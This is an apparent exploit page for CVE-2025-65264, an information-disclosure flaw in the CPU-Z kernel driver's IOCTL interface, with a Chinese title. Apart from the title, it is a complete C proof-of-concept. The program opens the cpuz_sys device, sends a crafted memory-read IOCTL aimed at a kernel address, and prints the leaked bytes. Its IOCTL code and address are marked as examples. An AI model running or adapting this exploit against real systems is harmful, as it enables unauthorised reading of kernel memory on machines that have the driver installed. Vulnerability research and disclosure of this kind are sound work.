CPU-Z内核驱动IOCTL接口信息泄露漏洞 (CVE-2025-65264)

#include <windows.h> #include <stdio.h> #include <winioctl.h> #define DEVICE_NAME "\\\\\\\\.\\\\cpuz_sys" #define IOCTL_READ_MEMORY 0x9C402404 // Example IOCTL code typedef struct { PVOID TargetAddress; PVOID OutputBuffer; ULONG Size; } MEMORY_READ_REQUEST; int main() { HANDLE hDevice; DWORD bytesReturned = 0; MEMORY_READ_REQUEST request; unsigned char output[256] = {0}; // Open device handle hDevice = CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %d\n", GetLastError()); return 1; } printf("[+] Device handle opened successfully\n"); // Prepare malicious request - target kernel address for sensitive data request.TargetAddress = (PVOID)0xFFFFF78000000000; // Example: System kernel address request.OutputBuffer = output; request.Size = sizeof(output); // Send crafted IOCTL request without proper validation BOOL result = DeviceIoControl(hDevice, IOCTL_READ_MEMORY, &request, sizeof(request), output, sizeof(output), &bytesReturned, NULL); if (result) { printf("[+] Memory read successful. Bytes returned: %lu\n", bytesReturned); printf("[+] Leaked data:\n"); for (DWORD i = 0; i < bytesReturned && i < 64; i++) { printf("%02X ", output[i]); if ((i + 1) % 16 == 0) printf("\n"); } } else { printf("[-] IOCTL request failed. Error: %d\n", GetLastError()); } CloseHandle(hDevice); return 0; }